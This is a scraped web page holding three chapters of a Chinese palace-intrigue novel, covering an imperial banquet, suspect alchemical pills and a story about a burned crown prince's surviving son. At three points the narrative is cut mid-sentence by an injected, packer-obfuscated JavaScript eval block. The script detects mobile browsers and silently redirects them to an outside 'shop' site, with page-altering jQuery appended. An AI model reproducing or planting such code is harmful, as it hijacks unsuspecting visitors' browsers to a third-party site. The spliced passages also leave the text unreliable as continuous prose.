“这么惨啊?”崔时清的眼中闪动着幸灾乐祸的彩光,抿唇偷笑着。 看来阁远侯当真是听说了宫里的变故,因而急忙把江相明的婚事定下,正巧碰上王家内斗捡了便宜。 如此一来,哪怕以后淑妃不中用了,江相明还有亲家可以依靠。 李昶唏嘘道:“就是这么惨,三公主最爱面子了,会当着朝臣的面失态,想必真是走投无路了。” 蔡梦期扯了扯唇角,不想谈论淑妃的困苦。 此人之前依附她的姑母,哪怕姑母没说,蔡梦期也可以察觉她们之间的疏远。这种疏远的态度太突然,想必是发生了什么龃龉。 思及从前姑母对淑妃的照拂,蔡梦期自然而然便把错处归于淑妃头上,事关长辈之事,她不好干涉,也不适合过多议论。 思忖着,蔡梦期问:“国库没钱,怎么今日还宴请了这么些人?” 崔时清心里门清,便答道:“有人,便有钱了呀。” “姑奶奶聪慧!”李昶吹捧道。 “这里还真是让我越来越陌生了。”蔡梦期摇着头,心情有些复杂。 崔时清看不得友人沉郁的模样,劝慰着,“别想这么多,难得来此玩乐,尽情吃喝便是。” “是啊,你过着神仙日子,还有什么好烦恼的?”李昶伸手在鼻尖前挥了挥,也散不去心中的酸气。 蔡梦期想了想,也觉得自己的日子过得甚好,便笑得见牙不见眼。 “收敛点,免得招人嫉恨。”崔时清捏着她的面颊,揶揄道。 “不怕!王思玉没来,近来连她那些小姊妹也都安分了下来,没胆子再来我跟前讨烦!”蔡梦期说着,愈发欢喜了起来。 崔时清微扬眉眼,有些可惜道:“她不是最喜欢这种场合了,居然没来?” 蔡梦期笑眯眯地说:“她和江相明也定着下月初成婚,推拒了所有宴会,在家中待嫁呢。” 王尚书因嫡女无状、宠妾灭妻之事被接连下谕斥责,若非年终礼部祭典诸事繁杂,恐怕都保不住这尚书之位。 蔡梦期出了恶气,连日来走路都带风。 李昶笑道:“说来,还是姑奶奶过得最好,不被这些陈腐的规矩束缚,连郎君都是自己挑来的。” 崔时清扬眉笑着,没有接茬。 “是呀,你还能出门赴宴之事,也不知会惹来多少女娘艳羡的!”蔡梦期说。 婚期将近的新嫁娘本该闭门不出,在家中待嫁。但崔时清不耐烦被困在府中,长辈们也没有固守规矩,欣然领着她同来。 李昶也艳羡崔时清的随性自在,而他再如何放荡不羁,在婚姻大事上还是无法与家中长辈抗衡。 看着愁眉不展的李昶,崔时清笑问:“怎么?你也在相看了?” “是啊,连看了几日册子,看得眼睛生疼。”李昶颓丧地耷拉着肩膀。 “我可不信他会这般安分。”蔡梦期与崔时清小声嘀咕。 “你不懂,我家老头子都疯魔了。天天盯着我,若是看不完册子便是一顿好揍,谁也吃不消啊!”李昶苦不堪言地揉搓着双臂,只差没落下几滴辛酸泪。 “哦,原来如此。”崔时清忍着笑,一本正经地颔首着。 蔡梦期却半点也忍不了,笑靥如花地直戳李昶的心窝,“要说佩服,我此生最佩服的还是御史伯翁手中的那杆戒尺了!” 李昶顿时怒气,指着冤家对头低斥道:“你我无冤无仇,何必如此待我!” “我连个打骂都没有,对你还不够好?”蔡梦期不认自己的坏心,摇晃着脑袋上的流苏珠钗。 “姑奶奶!你看看,她还想着打骂我了!”李昶敌不过蔡梦期的厚脸皮,只好找崔时清来告状。 崔时清自认公正,双手抱臂地瞅着他,建议道:“想想而已,你要是气不过,也学着点,多做几个美梦了。” “……”像是心中的明月被乌云遮蔽,李昶的眼睛都暗淡了,幽怨地瞅着蔡梦期。 “你瞅我作什么?让你做梦的可不是我。” “要不是你,姑奶奶怎会如此待我!” “无理取闹。” “你还说对啦!” “……” “你姑母来了。”崔时清瞥了一眼气得面色涨红的女娘,提醒道。 蔡梦期一口气还没下去,趁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214594|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着李昶被分散了注意,在他臂上软肉用力拧了一把,听见吃痛的嘶声,才算是顺了气,也看向了由表兄赵洛行搀扶着步入金临台的姑母。 他们并没有上前,遥遥行过礼,等到贵妃入了座,又叙起话来。 “你知道了吗?”蔡妙妍拉扯着崔时清的衣袖,小声问。 崔时清的眼神清凌凌地看她,“什么?” “我姑母同意表兄迎娶陈柔欢了。”蔡妙妍表情复杂地说道。 崔时清扫了一眼正在贵妃跟前,温顺说着话的陈柔欢,有些意外道:“陈柔欢也同意了?” 虽说之前拿过陈柔欢来搪塞贵妃,但她们都知道赵洛行之于陈柔欢,是一厢情愿的单相思。 从前陈柔欢可没有过嫁入皇家的想法,与纪危舟往来也是求名不求利。 超凡脱俗的京都才女,名声在此,是有很多选择的。 “不同意怎会与表兄往来?昨日还同去城郊跑马了。”蔡梦期撇了撇嘴,还是不太能接受陈柔欢即将成为表嫂的这个事实。 李昶在旁听着,小声嘀咕道:“这年头还真是怪事连连。” “还真是呢。”蔡梦期应和了一声,眼睛不由瞟向崔时清,“自从时娘和纪家阿兄订婚以后,大家伙儿都奇奇怪怪的。” 奇奇怪怪的源头崔时清不自在地把玩着小竹笛,一声不吭,飘忽的眼神与远处的三公主赵月凌相对,还没来得及有所反应,赵月凌不善地瞪了她一眼,便撇开了头。 崔时清怒极反笑,拍了拍蔡梦期的手臂,呲牙问道:“你有没有看到?” “看到什么?”蔡梦期困惑地环顾四周,没有发现什么异样。 崔时清深吸了一口气,蹙眉道:“我抢了赵月凌什么东西?” 在京都权贵皇亲中,许多仇恨不外乎是钱权引起的,而贵女之间的恩怨更简单,多为衣物首饰闹不和,但最终皆是有钱者胜,公主也越不过当世钱权至上的规矩。 “纪家阿兄呀。”蔡梦期直言道。 “……”这都什么玩意?!崔时清无言片刻。 “你不知道呀?赵月凌一直都很钦慕纪家阿兄的。”蔡梦期瞅着自己如花似玉的手帕交,神情有些自傲。 崔时清忍不了这口气,磨着后槽牙说:“她不是还与陈柔欢交好吗?怎么只针对我了?!” 蔡梦期想也不想,脱口而出道:“兴许是觉得你不配吧。” “……多谢你告诉我。”崔时清面无表情、心如死灰,生气的心也死得很彻底。 “怎么说话?”李昶还捂着手臂,不高兴地啐了蔡梦期一声。 “嘿嘿,嘴快了点。”蔡梦期讪讪笑着。 崔时清没有理睬身边的冤家,看着独自坐着,没了追捧之人的三公主赵月凌。 权贵世家都拥有敏锐的嗅觉,‘重病’的母妃,没了贵妃的庇护,这些都是三公主失宠的迹象。 无宠之人,最是卑贱。 曾经簇拥在赵月凌身边的贵女都不见踪影,但赵月凌却依旧没有低下高傲的头颅。 视线落于贵妃蔡妙妍身上,崔时清很想知道,刺杀案之后皇宫里发生了什么,是什么夺走了三公主的荣宠。 68. 宫宴 四周骤然安静,内侍呼传陛下驾到,众人随之叩首行礼,恭迎帝后。 “诸卿免礼,都入座吧。” 贤文帝着锦衣宽袍,衣袂随疾步鼓动,一身仙风道骨之气,飘然若仙。他边走边扬声高喊,令殿中之人起身,精神亢奋地坐在高座之上,身后跟着皇后孟云希与六皇子赵晟真。 与友人相视道别,崔时清来到舅父舅母身边,乖巧地与他们福身行礼。 “疯玩够了?”纪舒明瞥着她,嫌弃道。 “怎么说话的?小心你阿爹抽你!”陈芝岚揽着崔时清坐在身边,装出严厉的语调,训斥亲儿。 纪光冷淡地扫了一眼他,纪舒明不由瑟缩脖子,委屈地抱怨了一声“偏心”,却不敢再招惹崔时清。 在长辈面前崔时清也没有遮掩心中的得意,弯唇笑着。目光落于贤文帝身上,见他面色红润、精神矍铄,轻声开口道。 “人逢喜事,陛下越发年轻了。” 纪光眉心微敛,不由冷哼了一声。 比之夫君的厌烦,陈芝岚倒是有几分兴致,小声指着随侍贤文帝的青衣道长说道:“听闻离虚道长新炼了几炉丹药,看来是出了奇效。” “什么丹药如此厉害呀,还能返老还童?”崔时清靠在舅母的手臂,娇声问。 纪光对贤文帝沉迷炼丹求仙颇为反感,沉眉道:“这些都是鸡鸣狗盗之辈的把戏,若世间真有长生不老之术,合该把先帝留下,九州八荒此时便太平无患了。” “夫君慎言!”陈芝岚面色发白,唯恐纪光这番大逆不道的言辞被人听去,为国公府招来灾祸。 纪光重重叹气摇头,也知自己言行无状了。 几乎是在纪光膝下长大的崔时清,或多或少明白舅父赋闲在家背后的苦闷,举起面前的杯盏。 “舅父教过我的,今朝有酒今朝醉,明日愁来明日愁。” “阿爹。”纪舒明双手奉上酒杯。 纪光怔松片刻,自我纾解的托词在小辈们真挚的目光下,倒是多了几分往日所没有的豁然,接过酒盏看向身边之人。 “芝娘也用一杯?” 陈芝岚自是不会拒绝,浅笑盈盈地端起琉璃酒盏,与纪光对杯相饮,温情脉脉、冷落了身边的一双小辈。 “陛下您瞧!东昌两口子躲在角落里对饮,眼神都要拉丝了!” 七皇子赵明来之母容妃捂着绣帕,高声戏笑,把殿内所有人的视线都吸引了过去,贤文帝也不由落下杯子,举目望着许久不曾想起的纪光夫妇。 触及贤文帝的目光,纪光敛起眼底的笑意,躬身作揖。 “御酒醇美,贪饮了几盏,娘娘勿要取笑臣了。” 容妃扫过贤文帝不辨喜恶的神色,略略颔首歉疚道:“一时感慨纪国公和夫人宛如初见情深不减,未存恶意,切勿恼了我才是呀。” “娘娘言过了,陛下与诸位娘娘的深情厚谊才是天下夫妇的典范。”陈芝岚施施然起身,与帝后、诸妃子福身行礼。 崔时清和纪舒明暗叹倒霉,面上却也乖顺,跟着拜礼。 皇后孟云希亲自为贤文帝斟了一杯温酒,温声笑道:“这些年来,东昌沉稳了许多,把国公府中的小辈都教养得很好。” “是,他家三郎确是国之栋梁。”贤文帝对于纪危舟有着莫名而生的好感,故而提起他,冷面也稍缓了不少。 “父皇说的是,此番纪家三郎助皇兄剿平勉州匪患,可是出了大气力。”六皇子赵晟真跟着说道。 崔时清听着这话,觉得极不顺耳。 分明是纪危舟立了军令状,带兵入孤山剿匪,可照着赵晟真的说辞,变成了为皇长子赵洛行而以身涉险。 “行儿长大了,马上杀贼的风姿有几分父皇的影子。”皇后温温柔柔地笑着,面容很是欣慰。 贤文帝看着另一侧的贵妃母子,正要开口勉励,突然思及朝臣弹劾赵洛行在金玉楼里一掷千金,微蹙着眉心,轻哼道:“杀几个贼匪有什么了得?玩物丧志依旧不堪重用!” “斗个鹌鹑而已,您骂也骂过了,何必一再旧事重提?”赵洛行吊儿郎当地瞅着其父。 赵晟真不赞同地摇了摇头。 “阿兄特意跑到勉州请兄长回来,可不是为了让你来气父皇的。”七皇子赵明来语重心长道。 贵妃蔡妙妍用力敲了敲手中的空杯盏,怒视着贤文帝,“你年轻时没玩过鹌鹑吗?一群人逮着行儿叫骂作什么?!” 赵晟真深深拜了一礼,解释道:“娘娘误会父皇了,是朝臣弹劾文书不断,父皇心痛,这才对皇兄严厉了些许。” 贵妃懒得与其啰嗦,染着蔻丹的纤手不客气地指着赵晟真,冷声道:“你闭嘴。” “这……”赵晟真眼神清澈又无辜,无措地看着贵妃。 “你有什么怨气便冲朕来!”贤文帝眼眸通红地站了起来,双手高举着左右踱步,松散的宽袍下原本白皙的皮肤染上大片的红斑,看得极为骇人。 贵妃也气得不行,把掌中的杯子砸在地上,怒斥道:“你这老匹夫!当真以为我——” “够了!贵妃还记得三纲五常吗!” 皇后收起向来温善的浅笑,正宫之主的气场四溢,也不顾贵妃的面色,转而扶着贤文帝,温声软语地递与一碗木樨香露饮子,劝他服用一口解解燥火。 从崔时清的角度望去,恰好看到装盛香饮子的琉璃碗壁上滑落了一滴水珠子,不由思忖冬日冷寒,贤文帝衣着单薄,居然还要用冰过的香饮子来降燥。 然而贤文帝不嫌冷凉,反倒是受用得很,半碗香饮子入腹,神情平静了不少,又由着皇后哄着坐了下来。 在一场尴尬的闹剧之后,朝臣的恭维声此起彼落,皆赞帝后为天下夫妇典范,伉俪情深令人羡煞。 除却面色越发难看的贵妃母子,大多数人皆在帝后舒缓的面色下,暗暗松了口气。 “妍娘,坐下吧。”安抚好贤文帝,皇后望着神色难堪的蔡妙妍,语气温和却不失威严。 众人刚刚落下的心,瞬间又提了起来。 蔡妙妍眼眸冷沉,指甲紧紧扣着掌心的软肉,却没有再发作,对着气愤的儿子扯动红唇,摇了摇头,母子二人又坐了下来。 这手段、当真不是寻常女子可比。 崔时清望着母仪天下的皇后娘娘,自叹不如的同时,也不由困惑,以这位孟皇后的能力,为何储君之位迟迟未定? “陛下如此喜爱纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222836|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家三郎,可知他即将成婚了?”皇后端坐着,笑谈道。 贤文帝有些懵怔,眼睛转了转,回过神来望向纪光身侧,眯眼看了半天,问:“既安怎么未来?” 纪光语气平淡地答道:“诞节事大,三郎一介庶子而已,怎可来此惊扰圣上。” 作为先帝武皇的庶长子,贤文帝的前半生都活着先太子的阴影之下,最恨的便是这些嫡嫡庶庶的规矩。 听着这席不知是有心还是无意的言辞,贤文帝一时控制不住扭曲的表情,下颌紧绷着,眼底拢起寒意。 崔时清偷瞄了一眼纪光。 她深知舅父向来疼爱纪危舟,除了纪舒明的世子身份以外,对待小辈皆一视同仁。今日突然提起嫡庶之别,招惹贤文帝的不悦,这番举动实在不像往日为了国公府进退得宜的舅父所为。 皇后孟云希轻笑道:“东昌此言过于迂腐。你家三郎蕴藉风流,是当世少俊中的栋梁之材,自是要承天降之大任,如何能以陈规旧俗约束其身?” “皇后所言极是,你是越活越糊涂了!”贤文帝冷嗤道。 “陛下与娘娘眼界开阔,一番妙言倒是让我等皆有所进益。”陈芝岚爽朗而道。 “……是,臣心老了,也糊涂了,还请陛下宽罪。”纪光苦涩地笑着。 看着纪家之人恭敬的姿态,贤文帝没有再作冷脸,宽袖一挥,道:“今日乃是家宴,不必多礼,都坐下吧。” “谢陛下。” 纪光再拜一礼,扶着陈芝岚入座。 跟着坐下以后,崔时清感受到前方投来的一道目光,抬眸望去,看到了皇后孟云希慈爱温善的眼神,心底瞬时涌起一丝不自在,面上诚惶诚恐地遥遥伏拜一礼。 再坐直身子,看到纪光也顺着她的视线望去,面色却极为冷沉,没有丝毫恭敬之心。 “阿舅。”崔时清越过陈芝岚,把面前的吉祥果递与纪光,“难得宫宴上有阿舅喜欢的点心。” “是啊,这是阿爹喜欢的。”纪舒明说着,也把面前的点心移至他的手边。 陈芝岚却护着自己的吉祥果,打趣道:“小儿女的孝心都给你了,可不许再惦记我的。” 纪光生硬地挤出一个笑容,克制着自己,忽略那道如蛇蝎般蛰伏暗处的目光,揽过了两碟吉祥果。 “芝娘若是喜欢,我们一起来分。” 崔时清看向纪舒明,叹气道:“好吧,我们不配吃吉祥果!” “作什么怪?”陈芝岚轻轻掐了把崔时清的面颊。 “阿娘,用力点,不要放过她。”纪舒明落井下石。 纪光看不得儿子的小人姿态,板起脸,轻斥道:“皮痒了?” “……不痒不痒。”纪舒明连忙装起乖。 崔时清揉着脸颊,心里平衡了不少,也挑拣糕点吃着,正要与长辈闲谈,余光瞥见默然离席的四皇子赵萧琛。 作为皇子,赵萧琛太过平庸,外貌能力比不得其他皇子,脾性沉默不会邀宠,在宫中没有什么存在感。 因而即便此时离席,也无人在意他。 崔时清又看了一眼依旧挺直腰板坐在原处的三公主,思忖着这对性格南辕北辙的亲姐弟,和皇宫中的众生相。 69. 丹药 这场诞节宫宴,像是闹剧一般。 经过贤文帝和贵妃的争执,众人还没来得及喘口气,便被告知要依次献礼,以承沐圣恩。 在这样众目睽睽之下,自觉礼轻的权贵重臣纷纷想尽办法又添了不少‘孝敬’,再千恩万谢地从离虚道长手中得来一枚御赐丹药。 有人深感与有荣焉,有人面红耳赤满心耻辱。 而崔时清则是好奇与兴味,捧着丹药盯看了许久。 “这不是小儿家玩闹的东西。”纪光面色不佳地伸出手来,唯恐外甥女赏玩过后,直接吞吃入腹。 崔时清一边把丹药收入衣袂中,一边低声道:“我知道不可随意服用丹药,不会乱来的,舅父安心。” 纪光安不了心,与其商量,“这也无甚好玩,舅父还有一匣子东珠,来换此丹药可好?” “不换!这枚丹药赤红如火,好看得很,我要留着赏玩。”崔时清拢紧衣袖,任性道。 陈芝岚笑说:“既然时娘说了不会服用,便随她吧。” “多谢舅母,舅母最好了!”崔时清抱着陈芝岚的手臂,连说了一箩筐的好话。 陈芝岚看着自定亲以后,身上的戾气消减了不少,还隐隐可以窥见小女郎娇软脾性的崔时清。 不免暗忖,是因为远香近臭吗?得知两小儿婚后要搬至城南,她曾经的怜爱之心都被勾动了起来。 她温声道:“只可赏玩,知道吗?” “好,都听舅母的。”崔时清重重点点头。 “乖女娘。”陈芝岚满意地轻抚着崔时清的头发。 “顽皮!”外甥女应得认真,纪光也宽了心,无奈地笑骂了一声。 “偏心。”纪舒明瞥着父母二人,小声嘟哝着。 “讨打?”崔时清靠在舅母的身侧,双眼微眯地斜乜着酸气冲天的人。 纪光假咳了一声,浇灭了一触即发的战火。 浑厚绵长的曲调响起,他们寻音望去,高台之上陈柔欢垂首抚琴,青衣广袖随风盈动,美若天仙,却清寒而不可及。 胜了一筹。崔时清暗笑着。 在此之前,许悯儿以琵琶之音引来众人盛赞,但在这寻觅长生的高楼中,斗奇之音始终难敌古琴宫调来得应景。 广寒宫仙子的琴音令贤文帝如痴如醉,一曲终了,心中自激荡起犹如位列仙班、鉴赏仙曲的壮阔豪情。 “很好!离虚,把朕服用的淬仙丹赏与陈家女。”贤文帝面色红润地鼓掌称好,连带看着赵洛行也多了几分满意,颔首道,“你也不错。” 金口御言之下,先前沉迷于‘花魁皇妃’的权贵朝臣立即改变了恭维的对象,对着京都才女无不洋溢着倾慕。 崔时清默不作声地看向另一侧,相比于皇后的端庄得体,赵晟真显然太稚嫩了,连眼底的嫉恨都藏不住。 而他身侧的许悯儿不知在想什么,神色颇为不安。 日照斜移,帝后携手离开金临台。 崔时清和长辈言说要寻友人同行,便疾步追着青衣女子。而看到径直朝自己而来的人,陈柔欢有些意外,但还是跟着崔时清走到廊柱之后。 “我想要你的淬仙丹,可否转卖与我?” 陈柔欢眨了一下眼睛,从衣袖中取出巴掌大小的木匣子,当着崔时清的面打开,紫金色的丹药出现在她们眼前,在斜阳映照下俯身仔细观察,还可看到丹丸表面闪动着斑斓的色泽。 “如此不凡的仙物,你要用什么来换呢?” 崔时清从陈柔欢的眼中看出了一丝戏弄的意味,垂眸看着她掌中的丹药,有些意兴阑珊。 她要淬仙丹,不过是为了印证心中的猜想。 ——一国之主暗中服用寒食散。 但崔时清最感兴趣的还是纪危舟,其他人、其他谜团,都没有他重要。她不准备为了追查此事,由着陈柔欢漫天要价。 “一万两。”崔时清直言道。 “成交。”陈柔欢合上盖子,把木匣子塞入崔时清手中,很有诚意地提前交了货。 “……”该死,说多了! 崔时清扣着匣子上的祥云纹,指尖硌得生疼,很想要退货。 “你不会后悔吧?”陈柔欢扬眉。 “不会!”崔时清几乎咬碎了牙,才挤出这两个字。 收到一笔意外之财,陈柔欢的眼睛都亮了起来,矜持中又克制不住喜意地瞅着崔时清,温声软语道:“世家嫡女就是大气。万两银票太惹眼了,还请命人把银票分成百两一张。” 一口气不上不下地堵在胸口,崔时清浑身难受,低声抓狂道:“你不是人间仙子吗?怎么也爱起黄白俗物了?!” “想知道呀?”陈柔欢看着她,眉眼微转了转,唇边漾起笑,“不告诉你。” 崔时清攒眉思忖着,顿时神色复杂地瞪圆了眼睛,陈柔欢也不由提起气,屏息看她。 “不会是为了赵洛行吧?” 陈柔欢舒了一口气,摆摆手,“不是不是。” “没有被那厮教坏了便好。” 崔时清的心也跟着松泛了不少,感慨过后,忽然神色微怔,表情不自然地摸了摸鼻尖,为她莫名其妙的上心而感到耳热,只得在心中强调着。 她可不是担心陈柔欢,她是心疼自己的银票而已! 陈柔欢看着崔时清,笑吟吟道:“我要走了,记得送银票!” “少不了你的。”崔时清没眼看仙子入凡的模样,不耐地挥了挥手。 陈柔欢提起长裙,灵动地转身小跑了两步,蓦然回头,背着夕阳的暖光对崔时清眨了眨眼睛,轻笑道。 “大殿下也想要淬仙丹,可惜我不慎丢失了,若他问起,记得为我求情。” 霞光刺目的一瞬,青衣仙子飘然而去,周围的颜色也黯然了几许。 “永宁县主。” 崔时清反手把木匣子藏入袖中,转身看着皇后身边的老嬷嬷,弯唇笑了一下。 “秦嬷嬷可有教诲?” “皇后娘娘许久不见县主,请您一叙。” 她幼时来皇宫玩耍,和孟云希有过几面之缘,却从来不是需要叙旧的关系。 心中转了几个念头,崔时清露出意外的神色,茫然又忐忑地看着她。 “不知娘娘想与我说什么?” “县主不必害怕,皇后娘娘最喜欢温香漂亮的小娘子,也是对县主生了眼缘,这才想要亲近您的。” “这……”崔时清犹犹豫豫地遥望远处。 “您舅父一家已然出宫,待见过娘娘以后,老奴送您回府。” 崔时清垂下眸子,遮住了眼底的冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235194|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戾,温声道:“有劳嬷嬷引路。” 皇后的宫殿距离金临台不远,但走至皇后面前,崔时清心底已经有了一个成形的答案。 她忘了行礼,直勾勾地觑着孟云希的容颜,心底暗道,纪危舟想必是像先太子的。 “娘娘召我来此,所为何事?” 酝酿在嘴边的寒暄客气皆在淡漠的眼神中化为虚无,孟云希像是溺爱骨肉的慈母,从主座上起身,亲自走到崔时清的面前,拉过她的手,轻轻拍了一下,眼中闪动着泪花。 “你和三郎就要成婚了,我们也该见一面的。” 清澈的眉眼挂上疑色,很快又聚起了喜意,崔时清笑道:“原来娘娘与我家表兄还有私交呀,我若早些知道,也该劝着表兄同来赴宴的。” “三郎他、从未提过我吗?”似是痛苦中又夹杂着生来不息的希望,孟云希期盼地看着眼前的小女娘。 “从未。”崔时清眼神没有情绪地慢声道。 这一声回答击溃了眼前之人,孟云希的眸子逐渐暗淡、灰败,及至湮灭了所有的光明。 她紧紧握着崔时清的双手,如同骤然迷路的行人,紧紧攥着掌心中的物品,企图从中汲取熟悉的气息,以此稳定慌乱的心神,重新恢复理智和方向。 “娘娘气色不佳,是身子有碍吗?”崔时清说着关切的话,看着孟云希的眼神却是不受控制的冷淡。 孟云希松开了她的手,揉了揉太阳穴,面色憔悴地说道:“本该留你用茶饭的,但还是不中用,照顾不了你。” “娘娘不必为我费心,保重贵体才是最重要的。”崔时清神色淡淡地说。 “好,乖女娘。”孟云希欣慰地笑着,眼神扫过身边之人,后者递上了一物,“这串佛珠是多年前空晖禅师赠予的,如今转赠你,希望可庇佑你们一世无灾无难、平安顺遂。” 崔时清寻了许久,也没找到的东西,却出现在她的眼前。 接过了这条与梦中极其相似的手串,指腹摩挲着,扯动唇角,淡笑道:“这串佛珠很特别,但我好像在哪里还见过。” “啊,原来——”孟云希怔松片刻,低语了一声。 崔时清看着她,又道:“娘娘知道?” 孟云希深吸了一口气,视线落于她的掌心,似是陷在往事中,眉眼间俱是伤感。 “降龙木手串本是一对,另一条,我以为毁在了那场大火中,却没想到、没想到。” 崔时清拨动一粒佛珠,突然加深了唇边的笑,递出手串,声音里透着恶意,“娘娘舍不得?” 孟云希下意识后退了半步。 崔时清注视着她,轻声开口:“我不欲夺人心头之好,您还是收回吧。” “不必。” 孟云希扬声拒绝,在这双清凌凌的眼睛下,她转过身、姿态雍容地朝着主座走去,直到重归她的至高之位,这才看向了脚下的人。 “收着吧,它对三郎是有意义的。” “县主再三推辞,会令娘娘伤心的。”秦嬷嬷以不轻不重的声音,提醒道。 “多谢娘娘赏赐,永宁告退。”崔时清福身行礼,不再多留,跟着秦嬷嬷离开。 直到崔时清消失在门后,孟云希倏然扫落手边的茶盏,幽幽自语。 “我不喜欢她的眼睛。” 70. 东宫 国公府的马车还在宫门候着,崔时清拒绝了秦嬷嬷的相送,没有走回府的御街大道,驾车绕路走了花市街。 月上树梢,街市两侧的灯火如星子闪动,夜游的百姓纷至沓来。 马车缓慢行动,人流所淹没。 崔时清以披风兜帽,把自己遮掩得严严实实,疾步穿过暗黑的小巷,在悬挂彩莲花灯的门上叩了一声,余光扫过左右,悄无声息地没入了半掩的门内。 春知乡后院漆黑无光,崔时清入内以后,脚边亮起了一星烛火,灰衣人已单膝跪地,等待指令。 “验清楚与寒食散有无关系。”崔时清把从宫里带出的两枚丹药递与死士,又道,“再重新调查一下刺杀案,从阁远侯府入手,我要知道淑妃在这桩案子里都做了什么。” “是。”灰衣人双手接过丹药。 崔时清转过身,注视着门外的暗巷,眸子黑漆漆的,翻涌着浓沉的情绪。 “还有——” 她抿唇不断拨弄着佛家之物,却无法平复紊乱的气息。最终指尖一顿,重重扣紧了掌心的佛珠,沉沉吸了一口冷凉的寒风。 “我要知道离虚道长的来路。” 落下此话,崔时清拉低兜帽,侧身越过了门扉,把单薄的身影融入黑沉的冷夜中。 在一声高呼下,车夫勒紧了缰绳、扬鞭催促,于密不透风的人群中破开一条道,驱马行跑。 这条路比之以往都要短暂,崔时清还没有回过神来,便已抵达府门。 攥着佛珠手串,她不再与心中的声音对抗,抬步来到了正院。 此时纪光和陈芝岚正在茶室闲话,崔时清来得突然,让他们都有些意外。 “时娘来了。”陈芝岚招呼着她坐下,不动声色地端详着崔时清的面色,体贴地说道,“我正想到常春院去,这茶也快好了,陪着你家阿舅喝一盏。” “舅母替我与外祖母道安。”崔时清弯唇笑了笑,乖巧应下。 陈芝岚抚摸她的脑袋,和纪光交换了一个眼神,领着茶室中的婢子们退下。 “想与阿舅说什么?”纪光拎起釜子斟茶。 崔时清把手中的佛珠放在茶几上,瓷盏中的茶水顿时满溢了出来。 “皇后娘娘召见了我。”崔时清接过舅父手中的茶釜,重新斟了两盏八分满的茶水,端起一盏茶递与纪光手边,“可我不相信她,阿舅可以告诉我真相吗?” “她怎可!怎可!” 纪光浑身僵硬地抬起头,看到崔时清之时,眼中的憎怒被潮涌般滚滚而来的歉疚所冲散,连带着他那颗在岁月长河中铸起的心,也褪去了冷硬的外表,裸露出千疮百孔的血肉。 “阿舅对不起小时娘。” 舅父眼底的自责让崔时清明白,她和纪危舟之间,舅父选择了纪危舟。 她说不出心底的百般滋味,是失望更多、还是九世以来一直伴随着她的麻木更盛。 冷静地注视着舅父,等待着他从痛苦的深渊中挣脱出来,如同溺水之人重获呼吸,把往事吐露干净。 纪光的眼睛落于炉中青烟之上,神情恍惚地开口:“二十年前东宫走火,我任禁军统领,当夜便在宫中值守,可直到大火冲天,我才收到消息。东宫本不该覆灭,但心怀叵测的恶徒在火场之外的一声‘天怒降罚’,却拦住了所有人,以至于一国储君就此葬身火海。” 崔时清听说了那场燃烧了一天一夜的天火,也知道最后的结局。但由亲历者亲口陈述的经过,还是使她感到心惊胆战。 “皇后是如何活下来的?还有他。” 纪光像是在与那些可怖的画面斗争,过了半晌,额间沁着冷汗,面容青白地继续说:“走火时她并不在东宫。” 夜里失火,太子妃却不在东宫? “不在东宫?她去何处了?”崔时清微蹙眉头,忍不住往人性最嫌恶可怖的那一处去想。 纪光表情冷厉,“她说,她在佛堂中为先皇和天下百姓抄经。” 从舅父的语气中,崔时清了然了。 孟云希说的是一面之词,无凭无据,却又让人抓不出她的要害。 一双专注望着她的黑眸闪过眼前,崔时清不由问道:“夫君和刚出世的小儿都在东宫大火里,她可有想办法救下他们?” 纪光冷笑着说道:“在佛堂收到消息,她就病了。” 舅父口中的孟云希哪怕有些古怪,但也不至于令其产生这般厌恨的情绪。 崔时清感受着纪光那股微妙又浓烈的憎恨,没有说话,安静地等待着。 “武帝还在病中无力回天,而我虽为禁军统领,那一夜却调动不了一兵一卒。所有人都像是疯了一样,守在东宫门前,等着这座殿宇化作废墟。” 纪光的声音有些苍老,眼底的痛苦不断翻滚着,仿佛还陷于那场大火中,无处逃脱。 “正门进不了,但还存有一处暗门。我避开眼线进入东宫,找到了抱着小儿的先太子。门扉皆上了锁,但是以先太子的能力,不该破不得此门,他是心灰意冷,知天下再无容身之所,存了死志。” “他唯一不舍的只有怀中稚子,见到我来,身陷囹圄却释然而笑,把三郎托付与我。” “临走前他举着佛珠再三犹豫,最终还是把佛珠放入了襁褓中,从容赴死。留下的最后一句话便是,‘愿她看到此物,可以顾念旧情,留我儿一命’。” 心口像是压着巨石,崔时清呼吸滞涩,有些喘不过气来。 